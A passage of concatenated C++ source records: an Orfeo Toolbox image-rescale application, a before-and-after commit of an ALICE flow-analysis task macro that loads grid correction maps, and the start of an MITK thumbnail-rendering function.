\"otbWrapperApplicationFactory.h\"\n\n#include \"otbStreamingMinMaxVectorImageFilter.h\"\n#include \"otbVectorRescaleIntensityImageFilter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\n\nclass Rescale : public Application\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef Rescale Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(Rescale, otb::Application);\n\n \/** Filters typedef *\/\n typedef otb::StreamingMinMaxVectorImageFilter<FloatVectorImageType> MinMaxFilterType;\n typedef otb::VectorRescaleIntensityImageFilter<FloatVectorImageType> RescaleImageFilterType;\n\nprivate:\n Rescale()\n {\n SetName(\"Rescale\");\n SetDescription(\"Rescale the image between two given values.\");\n }\n\n virtual ~Rescale()\n {\n }\n\n void DoCreateParameters()\n {\n AddParameter(ParameterType_InputImage, \"in\", \"Input Image\");\n AddParameter(ParameterType_OutputImage, \"out\", \"Output Image\");\n\n AddParameter(ParameterType_Float, \"outmin\", \"Output min value\");\n AddParameter(ParameterType_Float, \"outmax\", \"Output max value\");\n SetParameterFloat(\"outmin\", 0);\n SetParameterDescription( \"outmin\", \"Minimum value of the output image.\" );\n SetParameterFloat(\"outmax\", 255);\n SetParameterDescription( \"outmax\", \"Maximum value of the output image.\" );\n\n MandatoryOff(\"outmin\");\n MandatoryOff(\"outmax\");\n }\n\n void DoUpdateParameters()\n {\n \/\/ Nothing to do here for the parameters : all are independent\n }\n\n void DoExecute()\n {\n FloatVectorImageType::Pointer inImage = GetParameterImage(\"in\");\n\n otbAppLogDEBUG( << \"Starting Min\/Max computation\" )\n\n m_MinMaxFilter = MinMaxFilterType::New();\n m_MinMaxFilter->SetInput( inImage );\n m_MinMaxFilter->GetStreamer()->SetNumberOfLinesStrippedStreaming( 50 );\n\n AddProcess(m_MinMaxFilter->GetStreamer(), \"Min\/Max computing\");\n m_MinMaxFilter->Update();\n\n otbAppLogDEBUG( << \"Min\/Max computation done : min=\" << m_MinMaxFilter->GetMinimum()\n << \" max=\" << m_MinMaxFilter->GetMaximum() )\n\n FloatVectorImageType::PixelType inMin, inMax;\n\n m_RescaleFilter = RescaleImageFilterType::New();\n m_RescaleFilter->SetInput( inImage );\n m_RescaleFilter->SetInputMinimum( m_MinMaxFilter->GetMinimum() );\n m_RescaleFilter->SetInputMaximum( m_MinMaxFilter->GetMaximum() );\n\n FloatVectorImageType::PixelType outMin, outMax;\n outMin.SetSize( inImage->GetNumberOfComponentsPerPixel() );\n outMax.SetSize( inImage->GetNumberOfComponentsPerPixel() );\n outMin.Fill( GetParameterFloat(\"outmin\") );\n outMax.Fill( GetParameterFloat(\"outmax\") );\n\n m_RescaleFilter->SetOutputMinimum( outMin );\n m_RescaleFilter->SetOutputMaximum( outMax );\n m_RescaleFilter->UpdateOutputInformation();\n \n SetParameterOutputImage(\"out\", m_RescaleFilter->GetOutput());\n }\n \n RescaleImageFilterType::Pointer m_RescaleFilter;\n MinMaxFilterType::Pointer m_MinMaxFilter;\n};\n\n}\n}\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::Rescale)\n<|endoftext|>"} {"text":"<commit_before>#include \"TDirectory.h\"\n#include \"TMath.h\"\n#include \"TString.h\"\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n\nAliAnalysisTask *AddTaskJFFlucJCMAPsMaster(TString taskName = \"JFFlucJCMAP_Run2_pass2\", UInt_t period = 0, double ptMin = 0.2, double ptMax = 5.0,\n std::string configArray = \"0 1 2 4 5 8 11 13\", bool saveQA = kFALSE, bool ESDpileup = false, double intercept = 15000, bool saveQApileup = false)\n{\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n\n \/\/ Less essential global variables.\n bool removeBadArea = kFALSE;\n int debug = 0;\n bool useTightCuts = kFALSE;\n double slope = 3.38;\n\n \/\/ Prepare the configuration of the wagons.\n enum { lhc15o = 0, lhc18q = 1, lhc18r = 2 };\n TString speriod[3] = { \"15o\", \"18q\", \"18r\" }; \/\/ Needed to load correct map config.\n std::cout << \"AddTaskJFFlucJCMAPsMaster:: period =\" << period << \"\\t pT range = (\"\n << ptMin << \",\" << ptMax << \").\" << std::endl;\n\n int iConfig = -1;\n int iOldConfig = -2;\n int index = 0;\n std::vector<TString> configNames;\n std::istringstream sConfig(configArray);\n\n do {\n sConfig >> iConfig;\n if (iOldConfig == iConfig) {break;}\n\n switch(iConfig) { \/\/ Hardcoded names to prevent typo in phi weights files.\n \/\/ For the \"syst\" selection: only the changed variables is indicated, all the others are left as in default.\n case 0 : \/\/ Default selection. \/\/ V0M + |zVtx < 8| + (pileup > 15000)\n configNames.push_back(\"default\"); \/\/ + global tracks 96 + (NTPC < 70) + (chi2 in [0.1, 4]).\n break;\n case 1 : \/\/ Syst: global changed to hybrid.\n configNames.push_back(\"hybrid\");\n break;\n case 2 : \/\/ Syst: V0M changed to SPD clusters.\n configNames.push_back(\"SPD\");\n break;\n case 3 : \/\/ Syst: (pileup > 15000) changed to (no pileup cut).\n configNames.push_back(\"noPileup\");\n break;\n case 4 : \/\/ Syst: (pileup > 15000) changed to (pileup > 10000).\n configNames.push_back(\"pileup10\");\n break;\n case 5 : \/\/ Syst: |zVtx < 8| changed to |zVtx < 10|.\n configNames.push_back(\"zvtx10\");\n break;\n case 6 : \/\/ Syst: |zVtx < 8| changed to |zVtx < 9|.\n configNames.push_back(\"zvtx9\");\n break;\n case 7 : \/\/ Syst: |zVtx < 8| changed to |zVtx < 7|.\n configNames.push_back(\"zvtx7\");\n break;\n case 8 : \/\/ Syst: (NTPC > 70) changed to (NTPC > 80).\n configNames.push_back(\"NTPC80\");\n break;\n case 9 : \/\/ Syst: (NTPC > 70) changed to (NTPC > 90).\n configNames.push_back(\"NTPC90\");\n break;\n case 10 : \/\/ Syst: (NTPC > 70) changed to (NTPC > 100).\n configNames.push_back(\"NTPC100\");\n break;\n case 11 : \/\/ Syst: (chi2 in [0.1, 4]) changed to (chi2 < 4).\n configNames.push_back(\"chi2def\");\n break;\n case 12 : \/\/ Syst: (chi2 in [0.1, 4]) changed to (chi2 < 2.5).\n configNames.push_back(\"chi2tight\");\n break;\n case 13 : \/\/ Syst: (DCAz < 2cm - default in global) changed to (DCAz < 1cm).\n configNames.push_back(\"DCAz1\");\n break;\n case 14 : \/\/ Syst: (DCAz < 2cm - default in global) changed to (DCAz < 0.5cm).\n configNames.push_back(\"DCAz05\");\n break;\n case 15 : \/\/ Syst: (all charges) changed to (negative charges only).\n configNames.push_back(\"nqq\");\n break;\n case 16 : \/\/ Syst: (all charges) changed to (positive charges only).\n configNames.push_back(\"pqq\");\n break;\n case 17 : \/\/ Syst: subA. TBI\n configNames.push_back(\"subA\");\n break;\n default :\n std::cout << \"ERROR: Invalid configuration index. Skipping this element.\"\n << std::endl;\n }\n index++;\n iOldConfig = iConfig;\n } while (sConfig);\n\n\/\/ Load the correction maps.\n\/\/ We assume the same maps for all minPt values.\n\n TString MAPfilenames; \/\/ Azimuthal corrections.\n TString MAPdirname = \"alien:\/\/\/alice\/cern.ch\/user\/a\/aonnerst\/legotrain\/NUAError\/\";\n AliJCorrectionMapTask *cmaptask = new AliJCorrectionMapTask(\"JCorrectionMapTask\");\n TString sCorrection[3] = { \"15o\", \"18q\", \"18r\" }; \/\/ 17i2a for 15o?\n\n if (period == lhc18q || period == lhc18r) { \/\/ 2018 PbPb datasets.\n cmaptask->EnableCentFlattening(Form(\"alien:\/\/\/alice\/cern.ch\/user\/j\/jparkkil\/legotrain\/Cent\/CentWeights_LHC%s_pass13.root\", speriod[period].Data()));\n cmaptask->EnableEffCorrection(Form(\"alien:\/\/\/alice\/cern.ch\/user\/d\/djkim\/legotrain\/efficieny\/data\/Eff--LHC%s-LHC18l8-0-Lists.root\", speriod[period].Data()));\n } else if (period == lhc15o) { \/\/ 2015 PbPb dataset.\n cmaptask->EnableEffCorrection(Form(\"alien:\/\/\/alice\/cern.ch\/user\/d\/djkim\/legotrain\/efficieny\/data\/Eff--LHC%s-LHC16g-0-Lists.root\", speriod[period].Data()));\n } \n\n MAPfilenames = Form(\"%sPhiWeights_LHC%s_Error_pt02_s_%s.root\", MAPdirname.Data(), sCorrection[period].Data(), configName.Data());\n cmaptask->EnablePhiCorrection(0, MAPfilenames); \/\/ i = 0: index for 'SetPhiCorrectionIndex(i)'.\n mgr->AddTask((AliAnalysisTask *) cmaptask);\n \n\n \/\/ Set the general variables.\n int globalCut = 96; \/\/ Global tracks - default.\n int hybridCut = 768; \/\/ Hybrid tracks.\n UInt_t selEvt; \/\/ Trigger.\n if (period == lhc15o) { \/\/ Minimum bias.\n selEvt = AliVEvent::kINT7;\n } else if (period == lhc18q || period == lhc18r) { \/\/ Minimum bias + central + semicentral.\n selEvt = AliVEvent::kINT7 | AliVEvent::kCentral | AliVEvent::kSemiCentral;\n }\n\n \/\/ Configure the catalyst tasks for each config.\n \/\/ taskName added in the name of the catalyst to prevent merging issues between wagons.\n const int Nsets = index;\n AliJCatalystTask *fJCatalyst[Nsets]; \/\/ One catalyst needed per configuration.\n for (int i = 0; i < Nsets; i++) {\n fJCatalyst[i] = new AliJCatalystTask(Form(\"JCatalystTask_%s_s_%s\", taskName.Data(), configNames[i].Data()));\n std::cout << \"Setting the catalyst: \" << fJCatalyst[i]->GetJCatalystTaskName() << std::endl;\n fJCatalyst[i]->SetSaveAllQA(saveQA);\n\n \/\/\/ Trigger and centrality selection.\n fJCatalyst[i]->SelectCollisionCandidates(selEvt);\n fJCatalyst[i]->SetCentrality(0.,5.,10.,20.,30.,40.,50.,60.,70.,80.,-10.,-10.,-10.,-10.,-10.,-10.,-10.);\n fJCatalyst[i]->SetInitializeCentralityArray();\n if (strcmp(configNames[i].Data(), \"SPD\") == 0) {\n fJCatalyst[i]->SetCentDetName(\"CL1\");\n } else { \/\/ Default: V0M.\n fJCatalyst[i]->SetCentDetName(\"V0M\");\n }\n\n \/\/\/ Event selection: pileup cuts and Zvtx.\n if (strcmp(configNames[i].Data(), \"noPileup\") != 0) { \/\/ Set flag only if we cut on pileup.\n fJCatalyst[i]->AddFlags(AliJCatalystTask::FLUC_CUT_OUTLIERS);\n if (strcmp(configNames[i].Data(), \"pileup10\") == 0) {fJCatalyst[i]->SetESDpileupCuts(true, slope, 10000, saveQApileup);}\n else {fJCatalyst[i]->SetESDpileupCuts(ESDpileup, slope, intercept, saveQApileup);}\n }\n if (period == lhc18q || period == lhc18r) {fJCatalyst[i]->AddFlags(AliJCatalystTask::FLUC_CENT_FLATTENING);} \n\n if (strcmp(configNames[i].Data(), \"zvtx10\") == 0) { \n fJCatalyst[i]->SetZVertexCut(10.0);\n } else if (strcmp(configNames[i].Data(), \"zvtx9\") == 0) {\n fJCatalyst[i]->SetZVertexCut(9.0);\n } else if (strcmp(configNames[i].Data(), \"zvtx7\") == 0) {\n fJCatalyst[i]->SetZVertexCut(7.0);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetZVertexCut(8.0);\n }\n\n \/\/\/ Filtering, kinematic and detector cuts.\n if (strcmp(configNames[i].Data(), \"hybrid\") == 0) {\n fJCatalyst[i]->SetTestFilterBit(hybridCut);\n } else { \/\/ Default: global tracks.\n fJCatalyst[i]->SetTestFilterBit(globalCut);\n }\n\n if (strcmp(configNames[i].Data(), \"NTPC80\") == 0) { \n fJCatalyst[i]->SetNumTPCClusters(80);\n } else if (strcmp(configNames[i].Data(), \"NTPC90\") == 0) {\n fJCatalyst[i]->SetNumTPCClusters(90);\n } else if (strcmp(configNames[i].Data(), \"NTPC100\") == 0) {\n fJCatalyst[i]->SetNumTPCClusters(100);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetNumTPCClusters(70);\n }\n\n if (strcmp(configNames[i].Data(), \"chi2def\") == 0) { \n fJCatalyst[i]->SetChi2Cuts(0.0, 4.0);\n } else if (strcmp(configNames[i].Data(), \"chi2tight\") == 0) {\n fJCatalyst[i]->SetChi2Cuts(0.0, 2.5);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetChi2Cuts(0.1, 4.0);\n }\n\n if (strcmp(configNames[i].Data(), \"DCAz1\") == 0) { \n fJCatalyst[i]->SetDCAzCut(1.0);\n } else if (strcmp(configNames[i].Data(), \"DCAz05\") == 0) {\n fJCatalyst[i]->SetDCAzCut(0.5);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetDCAzCut(2.0);\n }\n\n if (strcmp(configNames[i].Data(), \"nqq\") == 0) {\n fJCatalyst[i]->SetParticleCharge(-1);\n } else if (strcmp(configNames[i].Data(), \"pqq\") == 0) {\n fJCatalyst[i]->SetParticleCharge(1);\n } \/\/ Default: charge = 0 to accept all charges.\n\n \/\/ TBA: subA systematics.\n\n fJCatalyst[i]->SetPtRange(ptMin, ptMax);\n fJCatalyst[i]->SetEtaRange(-0.8, 0.8);\n fJCatalyst[i]->SetPhiCorrectionIndex(i);\n fJCatalyst[i]->SetRemoveBadArea(removeBadArea);\n fJCatalyst[i]->SetTightCuts(useTightCuts);\n mgr->AddTask((AliAnalysisTask *)fJCatalyst[i]);\n }\n\n\/\/ Configure the analysis task wagons.\n AliJFFlucJCTask *myTask[Nsets];\n for (int i = 0; i < Nsets; i++) {\n myTask[i] = new AliJFFlucJCTask(Form(\"%s_s_%s\", \n taskName.Data(), configNames[i].Data()));\n myTask[i]->SetJCatalystTaskName(fJCatalyst[i]->GetJCatalystTaskName());\n \n mgr->AddTask((AliAnalysisTask *)myTask[i]);\n }\n\n\/\/ Create the containers for input\/output.\n AliAnalysisDataContainer *cinput = mgr->GetCommonInputContainer();\n AliAnalysisDataContainer *jHist[2*Nsets];\n\n for (int i = 0; i < Nsets; i++) {\n mgr->ConnectInput(fJCatalyst[i], 0, cinput);\n mgr->ConnectInput(myTask[i], 0, cinput);\n\n jHist[i] = new AliAnalysisDataContainer();\n jHist[i] = mgr->CreateContainer(Form(\"%s\", myTask[i]->GetName()), TDirectory::Class(), AliAnalysisManager::kOutputContainer, \n Form(\"%s:%s\", AliAnalysisManager::GetCommonFileName(), myTask[i]->GetName()));\n mgr->ConnectOutput(myTask[i], 1, jHist[i]);\n\n jHist[Nsets+i] = new AliAnalysisDataContainer();\n jHist[Nsets+i] = mgr->CreateContainer(Form(\"%s\", fJCatalyst[i]->GetName()), \n TList::Class(), AliAnalysisManager::kOutputContainer, \n Form(\"%s\", AliAnalysisManager::GetCommonFileName()));\n mgr->ConnectOutput(fJCatalyst[i], 1, jHist[Nsets+i]);\n }\n\n return myTask[0];\n}\n<commit_msg>Adding macro with corrections switched on<commit_after>#include \"TDirectory.h\"\n#include \"TMath.h\"\n#include \"TString.h\"\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n\nAliAnalysisTask *AddTaskJFFlucJCMasterCorrOn(TString taskName = \"JFFlucJCMAP_Run2_pass2\", UInt_t period = 0, double ptMin = 0.2, double ptMax = 5.0,\n std::string configArray = \"0\", bool saveQA = kFALSE, bool ESDpileup = false, double intercept = 15000, bool saveQApileup = false)\n{\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n\n \/\/ Less essential global variables.\n \/\/ Enable only one Config for now because of map memory\n bool removeBadArea = kFALSE;\n int debug = 0;\n bool useTightCuts = kFALSE;\n double slope = 3.38;\n\n \/\/ Prepare the configuration of the wagons.\n enum { lhc15o = 0, lhc18q = 1, lhc18r = 2 };\n TString speriod[3] = { \"15o\", \"18q\", \"18r\" }; \/\/ Needed to load correct map config.\n std::cout << \"AddTaskJFFlucJCMAPsMaster:: period =\" << period << \"\\t pT range = (\"\n << ptMin << \",\" << ptMax << \").\" << std::endl;\n\n int iConfig = -1;\n int iOldConfig = -2;\n int index = 0;\n std::vector<TString> configNames;\n std::istringstream sConfig(configArray);\n\n do {\n sConfig >> iConfig;\n if (iOldConfig == iConfig) {break;}\n\n switch(iConfig) { \/\/ Hardcoded names to prevent typo in phi weights files.\n \/\/ For the \"syst\" selection: only the changed variables is indicated, all the others are left as in default.\n case 0 : \/\/ Default selection. \/\/ V0M + |zVtx < 8| + (pileup > 15000)\n configNames.push_back(\"default\"); \/\/ + global tracks 96 + (NTPC < 70) + (chi2 in [0.1, 4]).\n break;\n case 1 : \/\/ Syst: global changed to hybrid.\n configNames.push_back(\"hybrid\");\n break;\n case 2 : \/\/ Syst: V0M changed to SPD clusters.\n configNames.push_back(\"SPD\");\n break;\n case 3 : \/\/ Syst: (pileup > 15000) changed to (no pileup cut).\n configNames.push_back(\"noPileup\");\n break;\n case 4 : \/\/ Syst: (pileup > 15000) changed to (pileup > 10000).\n configNames.push_back(\"pileup10\");\n break;\n case 5 : \/\/ Syst: |zVtx < 8| changed to |zVtx < 10|.\n configNames.push_back(\"zvtx10\");\n break;\n case 6 : \/\/ Syst: |zVtx < 8| changed to |zVtx < 9|.\n configNames.push_back(\"zvtx9\");\n break;\n case 7 : \/\/ Syst: |zVtx < 8| changed to |zVtx < 7|.\n configNames.push_back(\"zvtx7\");\n break;\n case 8 : \/\/ Syst: (NTPC > 70) changed to (NTPC > 80).\n configNames.push_back(\"NTPC80\");\n break;\n case 9 : \/\/ Syst: (NTPC > 70) changed to (NTPC > 90).\n configNames.push_back(\"NTPC90\");\n break;\n case 10 : \/\/ Syst: (NTPC > 70) changed to (NTPC > 100).\n configNames.push_back(\"NTPC100\");\n break;\n case 11 : \/\/ Syst: (chi2 in [0.1, 4]) changed to (chi2 < 4).\n configNames.push_back(\"chi2def\");\n break;\n case 12 : \/\/ Syst: (chi2 in [0.1, 4]) changed to (chi2 < 2.5).\n configNames.push_back(\"chi2tight\");\n break;\n case 13 : \/\/ Syst: (DCAz < 2cm - default in global) changed to (DCAz < 1cm).\n configNames.push_back(\"DCAz1\");\n break;\n case 14 : \/\/ Syst: (DCAz < 2cm - default in global) changed to (DCAz < 0.5cm).\n configNames.push_back(\"DCAz05\");\n break;\n case 15 : \/\/ Syst: (all charges) changed to (negative charges only).\n configNames.push_back(\"nqq\");\n break;\n case 16 : \/\/ Syst: (all charges) changed to (positive charges only).\n configNames.push_back(\"pqq\");\n break;\n case 17 : \/\/ Syst: subA. TBI\n configNames.push_back(\"subA\");\n break;\n default :\n std::cout << \"ERROR: Invalid configuration index. Skipping this element.\"\n << std::endl;\n }\n index++;\n iOldConfig = iConfig;\n } while (sConfig);\n\n\/\/ Load the correction maps.\n\/\/ We assume the same maps for all minPt values.\n\n TString MAPfilenames; \/\/ Azimuthal corrections.\n TString MAPdirname = \"alien:\/\/\/alice\/cern.ch\/user\/a\/aonnerst\/legotrain\/NUAError\/\";\n AliJCorrectionMapTask *cmaptask = new AliJCorrectionMapTask(\"JCorrectionMapTask\");\n \n\n if (period == lhc18q || period == lhc18r) { \/\/ 2018 PbPb datasets.\n cmaptask->EnableCentFlattening(Form(\"alien:\/\/\/alice\/cern.ch\/user\/j\/jparkkil\/legotrain\/Cent\/CentWeights_LHC%s_pass13.root\", speriod[period].Data()));\n cmaptask->EnableEffCorrection(Form(\"alien:\/\/\/alice\/cern.ch\/user\/d\/djkim\/legotrain\/efficieny\/data\/Eff--LHC%s-LHC18l8-0-Lists.root\", speriod[period].Data()));\n } else if (period == lhc15o) { \/\/ 2015 PbPb dataset.\n cmaptask->EnableEffCorrection(Form(\"alien:\/\/\/alice\/cern.ch\/user\/d\/djkim\/legotrain\/efficieny\/data\/Eff--LHC%s-LHC16g-0-Lists.root\", speriod[period].Data()));\n } \n\n \n \n\n \/\/ Set the general variables.\n int globalCut = 96; \/\/ Global tracks - default.\n int hybridCut = 768; \/\/ Hybrid tracks.\n UInt_t selEvt; \/\/ Trigger.\n if (period == lhc15o) { \/\/ Minimum bias.\n selEvt = AliVEvent::kINT7;\n } else if (period == lhc18q || period == lhc18r) { \/\/ Minimum bias + central + semicentral.\n selEvt = AliVEvent::kINT7 | AliVEvent::kCentral | AliVEvent::kSemiCentral;\n }\n\n \/\/ Configure the catalyst tasks for each config.\n \/\/ taskName added in the name of the catalyst to prevent merging issues between wagons.\n const int Nsets = index;\n AliJCatalystTask *fJCatalyst[Nsets]; \/\/ One catalyst needed per configuration.\n for (int i = 0; i < Nsets; i++) {\n MAPfilenames = Form(\"%sPhiWeights_LHC%s_Error_finerBins_pt02_s_%s.root\", MAPdirname.Data(), speriod[period].Data(), configNames[i].Data());\n cmaptask->EnablePhiCorrection(i, MAPfilenames); \/\/ i = 0: index for 'SetPhiCorrectionIndex(i)'.\n mgr->AddTask((AliAnalysisTask *) cmaptask);\n fJCatalyst[i] = new AliJCatalystTask(Form(\"JCatalystTask_%s_s_%s\", taskName.Data(), configNames[i].Data()));\n std::cout << \"Setting the catalyst: \" << fJCatalyst[i]->GetJCatalystTaskName() << std::endl;\n fJCatalyst[i]->SetSaveAllQA(saveQA);\n fJCatalyst[i]->SetPhiCorrectionIndex(i); \/\/ same as line for cmaptask\n\n \/\/\/ Trigger and centrality selection.\n fJCatalyst[i]->SelectCollisionCandidates(selEvt);\n fJCatalyst[i]->SetCentrality(0.,5.,10.,20.,30.,40.,50.,60.,70.,80.,-10.,-10.,-10.,-10.,-10.,-10.,-10.);\n fJCatalyst[i]->SetInitializeCentralityArray();\n if (strcmp(configNames[i].Data(), \"SPD\") == 0) {\n fJCatalyst[i]->SetCentDetName(\"CL1\");\n } else { \/\/ Default: V0M.\n fJCatalyst[i]->SetCentDetName(\"V0M\");\n }\n\n \/\/\/ Event selection: pileup cuts and Zvtx.\n if (strcmp(configNames[i].Data(), \"noPileup\") != 0) { \/\/ Set flag only if we cut on pileup.\n fJCatalyst[i]->AddFlags(AliJCatalystTask::FLUC_CUT_OUTLIERS);\n if (strcmp(configNames[i].Data(), \"pileup10\") == 0) {fJCatalyst[i]->SetESDpileupCuts(true, slope, 10000, saveQApileup);}\n else {fJCatalyst[i]->SetESDpileupCuts(ESDpileup, slope, intercept, saveQApileup);}\n }\n if (period == lhc18q || period == lhc18r) {fJCatalyst[i]->AddFlags(AliJCatalystTask::FLUC_CENT_FLATTENING);} \n\n if (strcmp(configNames[i].Data(), \"zvtx10\") == 0) { \n fJCatalyst[i]->SetZVertexCut(10.0);\n } else if (strcmp(configNames[i].Data(), \"zvtx9\") == 0) {\n fJCatalyst[i]->SetZVertexCut(9.0);\n } else if (strcmp(configNames[i].Data(), \"zvtx7\") == 0) {\n fJCatalyst[i]->SetZVertexCut(7.0);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetZVertexCut(8.0);\n }\n\n \/\/\/ Filtering, kinematic and detector cuts.\n if (strcmp(configNames[i].Data(), \"hybrid\") == 0) {\n fJCatalyst[i]->SetTestFilterBit(hybridCut);\n } else { \/\/ Default: global tracks.\n fJCatalyst[i]->SetTestFilterBit(globalCut);\n }\n\n if (strcmp(configNames[i].Data(), \"NTPC80\") == 0) { \n fJCatalyst[i]->SetNumTPCClusters(80);\n } else if (strcmp(configNames[i].Data(), \"NTPC90\") == 0) {\n fJCatalyst[i]->SetNumTPCClusters(90);\n } else if (strcmp(configNames[i].Data(), \"NTPC100\") == 0) {\n fJCatalyst[i]->SetNumTPCClusters(100);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetNumTPCClusters(70);\n }\n\n if (strcmp(configNames[i].Data(), \"chi2def\") == 0) { \n fJCatalyst[i]->SetChi2Cuts(0.0, 4.0);\n } else if (strcmp(configNames[i].Data(), \"chi2tight\") == 0) {\n fJCatalyst[i]->SetChi2Cuts(0.0, 2.5);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetChi2Cuts(0.1, 4.0);\n }\n\n if (strcmp(configNames[i].Data(), \"DCAz1\") == 0) { \n fJCatalyst[i]->SetDCAzCut(1.0);\n } else if (strcmp(configNames[i].Data(), \"DCAz05\") == 0) {\n fJCatalyst[i]->SetDCAzCut(0.5);\n } else { \/\/ Default value for JCorran analyses in Run 2.\n fJCatalyst[i]->SetDCAzCut(2.0);\n }\n\n if (strcmp(configNames[i].Data(), \"nqq\") == 0) {\n fJCatalyst[i]->SetParticleCharge(-1);\n } else if (strcmp(configNames[i].Data(), \"pqq\") == 0) {\n fJCatalyst[i]->SetParticleCharge(1);\n } \/\/ Default: charge = 0 to accept all charges.\n\n \/\/ TBA: subA systematics.\n\n fJCatalyst[i]->SetPtRange(ptMin, ptMax);\n fJCatalyst[i]->SetEtaRange(-0.8, 0.8);\n fJCatalyst[i]->SetPhiCorrectionIndex(i);\n fJCatalyst[i]->SetRemoveBadArea(removeBadArea);\n fJCatalyst[i]->SetTightCuts(useTightCuts);\n mgr->AddTask((AliAnalysisTask *)fJCatalyst[i]);\n }\n\n\/\/ Configure the analysis task wagons.\n AliJFFlucJCTask *myTask[Nsets];\n for (int i = 0; i < Nsets; i++) {\n myTask[i] = new AliJFFlucJCTask(Form(\"%s_s_%s\", \n taskName.Data(), configNames[i].Data()));\n myTask[i]->SetJCatalystTaskName(fJCatalyst[i]->GetJCatalystTaskName());\n \n mgr->AddTask((AliAnalysisTask *)myTask[i]);\n }\n\n\/\/ Create the containers for input\/output.\n AliAnalysisDataContainer *cinput = mgr->GetCommonInputContainer();\n AliAnalysisDataContainer *jHist[2*Nsets];\n\n for (int i = 0; i < Nsets; i++) {\n mgr->ConnectInput(fJCatalyst[i], 0, cinput);\n mgr->ConnectInput(myTask[i], 0, cinput);\n\n jHist[i] = new AliAnalysisDataContainer();\n jHist[i] = mgr->CreateContainer(Form(\"%s\", myTask[i]->GetName()), TDirectory::Class(), AliAnalysisManager::kOutputContainer, \n Form(\"%s:%s\", AliAnalysisManager::GetCommonFileName(), myTask[i]->GetName()));\n mgr->ConnectOutput(myTask[i], 1, jHist[i]);\n\n jHist[Nsets+i] = new AliAnalysisDataContainer();\n jHist[Nsets+i] = mgr->CreateContainer(Form(\"%s\", fJCatalyst[i]->GetName()), \n TList::Class(), AliAnalysisManager::kOutputContainer, \n Form(\"%s\", AliAnalysisManager::GetCommonFileName()));\n mgr->ConnectOutput(fJCatalyst[i], 1, jHist[Nsets+i]);\n }\n\n return myTask[0];\n}\n<|endoftext|>"} {"text":"<commit_before>\/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*\/\n\n\n#include \"QmitkNodeSelectionButton.h\"\n\n\/\/ berry includes\n#include <berryWorkbenchPlugin.h>\n#include <berryQtStyleManager.h>\n\n#include \"QPainter\"\n#include \"QTextDocument\"\n#include \"QEvent\"\n\n#include <mitkDataNode.h>\n#include <QmitkNodeDescriptorManager.h>\n\n\/\/ mitk core\n#include <mitkBaseRenderer.h>\n#include <mitkDataNode.h>\n#include <mitkExtractSliceFilter.h>\n#include <vtkMitkLevelWindowFilter.h>\n#include <mitkPlanarFigure.h>\n#include <mitkPropertyNameHelper.h>\n\n\/\/ vtk\n#include <vtkLookupTable.h>\n\nQPixmap GetPixmapFromImageNode(const mitk::DataNode* dataNode, int height)\n{\n if (nullptr == dataNode)\n {\n return QPixmap();\n }\n\n const mitk::Image* image = dynamic_cast<const mitk::Image*>(dataNode->GetData());\n if ((nullptr == image || !image->IsInitialized()) || \/\/ -> must be an image\n (image->GetPixelType().GetNumberOfComponents() != 1)) \/\/ -> for now only single component are allowed\n {\n auto descManager = QmitkNodeDescriptorManager::GetInstance();\n auto desc = descManager->GetDescriptor(dataNode);\n auto icon = desc->GetIcon(dataNode);\n auto fallBackMap = icon.pixmap(height, height);\n return fallBackMap;\n }\n\n mitk::PlaneGeometry::Pointer planeGeometry = mitk::PlaneGeometry::New();\n int sliceNumber = image->GetDimension(2) \/ 2;\n planeGeometry->InitializeStandardPlane(image->GetGeometry(), mitk::PlaneGeometry::Axial, sliceNumber);\n\n mitk::ExtractSliceFilter::Pointer extractSliceFilter = mitk::ExtractSliceFilter::New();\n extractSliceFilter->SetInput(image);\n extractSliceFilter->SetInterpolationMode(mitk::ExtractSliceFilter::RESLICE_CUBIC);\n extractSliceFilter->SetResliceTransformByGeometry(image->GetGeometry());\n extractSliceFilter->SetWorldGeometry(planeGeometry);\n extractSliceFilter->SetOutputDimensionality(2);\n extractSliceFilter->SetVtkOutputRequest(true);\n extractSliceFilter->Update();\n\n vtkImageData* imageData = extractSliceFilter->GetVtkOutput();\n\n mitk::LevelWindow levelWindow;\n dataNode->GetLevelWindow(levelWindow);\n vtkSmartPointer<vtkLookupTable> lookupTable = vtkSmartPointer<vtkLookupTable>::New();\n lookupTable->SetRange(levelWindow.GetLowerWindowBound(), levelWindow.GetUpperWindowBound());\n lookupTable->SetSaturationRange(0.0, 0.0);\n lookupTable->SetValueRange(0.0, 1.0);\n lookupTable->SetHueRange(0.0, 0.0);\n lookupTable->SetRampToLinear();\n\n vtkSmartPointer<vtkMitkLevelWindowFilter> levelWindowFilter = vtkSmartPointer<vtkMitkLevelWindowFilter>::New();\n levelWindowFilter->SetLookupTable(lookupTable);\n levelWindowFilter->SetInputData(imageData);\n levelWindowFilter->SetMinOpacity(0.0);\n levelWindowFilter->SetMaxOpacity(1.0);\n int dims[3];\n imageData->GetDimensions(dims);\n double clippingBounds[] = { 0.0, static_cast<double>(dims[0]), 0.0, static_cast<double>(dims[1]) };\n levelWindowFilter->SetClippingBounds(clippingBounds);\n levelWindowFilter->Update();\n imageData = levelWindowFilter->GetOutput();\n\n QImage thumbnailImage(reinterpret_cast<const unsigned char*>(imageData->GetScalarPointer()), dims[0], dims[1], 